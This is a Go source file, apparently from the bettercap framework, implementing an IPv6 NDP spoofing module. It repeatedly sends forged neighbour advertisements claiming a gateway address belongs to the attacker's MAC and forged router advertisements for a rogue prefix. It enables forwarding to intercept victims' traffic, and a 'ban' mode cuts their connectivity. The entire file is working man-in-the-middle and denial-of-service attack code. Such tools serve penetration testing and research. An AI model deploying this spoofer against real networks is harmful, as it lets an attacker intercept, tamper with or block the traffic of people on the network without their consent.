package ndp_spoof import ( "fmt" "net" "sync" "time" "github.com/bettercap/bettercap/v2/packets" "github.com/evilsocket/islazy/str" "github.com/bettercap/bettercap/v2/session" ) type NDPSpoofer struct { session.SessionModule neighbour net.IP prefix string prefixLength int routerLifetime int addresses []net.IP ban bool waitGroup *sync.WaitGroup } func NewNDPSpoofer(s *session.Session) *NDPSpoofer { mod := &NDPSpoofer{ SessionModule: session.NewSessionModule("ndp.spoof", s), addresses: make([]net.IP, 0), ban: false, waitGroup: &sync.WaitGroup{}, } mod.SessionModule.Requires("net.recon") mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 victim addresses.")) mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", `^([:a-fA-F0-9]{6,})?$`, "Neighbour IPv6 address to spoof, clear to disable NA.")) mod.AddParam(session.NewStringParameter("ndp.spoof.prefix", "d00d::", "", "IPv6 prefix for router advertisements spoofing, clear to disable RA.")) mod.AddParam(session.NewIntParameter("ndp.spoof.prefix.length", "64", "IPv6 prefix length for router advertisements.")) mod.AddParam(session.NewIntParameter("ndp.spoof.router_lifetime", "10", "Router lifetime for router advertisements in seconds.")) mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "", "Start NDP spoofer.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("ndp.ban on", "", "Start NDP spoofer in ban mode, meaning the target(s) connectivity will not work.", func(args []string) error { mod.ban = true return mod.Start() })) mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "", "Stop NDP spoofer.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("ndp.ban off", "", "Stop NDP spoofer.", func(args []string) error { return mod.Stop() })) return mod } func (mod NDPSpoofer) Name() string { return "ndp.spoof" } func (mod NDPSpoofer) Description() string { return "Keep spoofing selected hosts on the network by sending spoofed NDP router advertisements." } func (mod NDPSpoofer) Author() string { return "Simone Margaritelli " } func (mod *NDPSpoofer) Configure() error { var err error var neigh, targets string if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil { return err } if targets == "" { mod.neighbour = nil mod.addresses = nil } else { if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil { return err } else if neigh == "" { mod.neighbour = nil } else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil { return fmt.Errorf("can't parse neighbour address %s", neigh) } mod.addresses = make([]net.IP, 0) for _, addr := range str.Comma(targets) { if ip := net.ParseIP(addr); ip != nil { mod.addresses = append(mod.addresses, ip) } else { return fmt.Errorf("can't parse ip %s", addr) } } mod.Debug(" addresses=%v", mod.addresses) } if err, mod.prefix = mod.StringParam("ndp.spoof.prefix"); err != nil { return err } if err, mod.prefixLength = mod.IntParam("ndp.spoof.prefix.length"); err != nil { return err } if err, mod.routerLifetime = mod.IntParam("ndp.spoof.router_lifetime"); err != nil { return err } if !mod.Session.Firewall.IsForwardingEnabled() { if mod.ban { mod.Warning("running in ban mode, forwarding not enabled!") mod.Session.Firewall.EnableForwarding(false) } else { mod.Info("enabling forwarding") mod.Session.Firewall.EnableForwarding(true) } } return nil } func (mod *NDPSpoofer) Start() error { if err := mod.Configure(); err != nil { return err } if mod.neighbour == nil && mod.prefix == "" { return fmt.Errorf("please set a target or a prefix") } return mod.SetRunning(true, func() { mod.Info("ndp spoofer started - targets=%s neighbour=%s prefix=%s", mod.addresses, mod.neighbour, mod.prefix) mod.waitGroup.Add(1) defer mod.waitGroup.Done() for mod.Running() { if mod.prefix != "" { mod.Debug("sending router advertisement for prefix %s(%d)", mod.prefix, mod.prefixLength) err, ra := packets.ICMP6RouterAdvertisement(mod.Session.Interface.IPv6, mod.Session.Interface.HW, mod.prefix, uint8(mod.prefixLength), uint16(mod.routerLifetime)) if err != nil { mod.Error("error creating ra packet: %v", err) } else if err = mod.Session.Queue.Send(ra); err != nil { mod.Error("error while sending ra packet: %v", err) } } if mod.neighbour != nil { for victimAddr, victimHW := range mod.getTargets(true) { victimIP := net.ParseIP(victimAddr) mod.Debug("we're saying to %s(%s) that %s is us(%s)", victimIP, victimHW, mod.neighbour, mod.Session.Interface.HW) if err, packet := packets.ICMP6NeighborAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil { mod.Error("error creating na packet: %v", err) } else if err = mod.Session.Queue.Send(packet); err != nil { mod.Error("error while sending na packet: %v", err) } } } time.Sleep(1 * time.Second) } }) } func (mod *NDPSpoofer) Stop() error { return mod.SetRunning(false, func() { mod.Info("waiting for NDP spoofer to stop ...") mod.ban = false mod.waitGroup.Wait() }) } func (mod *NDPSpoofer) getTargets(probe bool) map[string]net.HardwareAddr { targets := make(map[string]net.HardwareAddr) // add targets specified by IP address for _, ip := range mod.addresses { if mod.Session.Skip(ip) { continue } // do we have this ip mac address? if hw, err := mod.Session.FindMAC(ip, probe); err == nil { targets[ip.String()] = hw } else { mod.Info("couldn't get MAC for ip=%s, put it into the neighbour table manually e.g. ping -6", ip) } } return targets }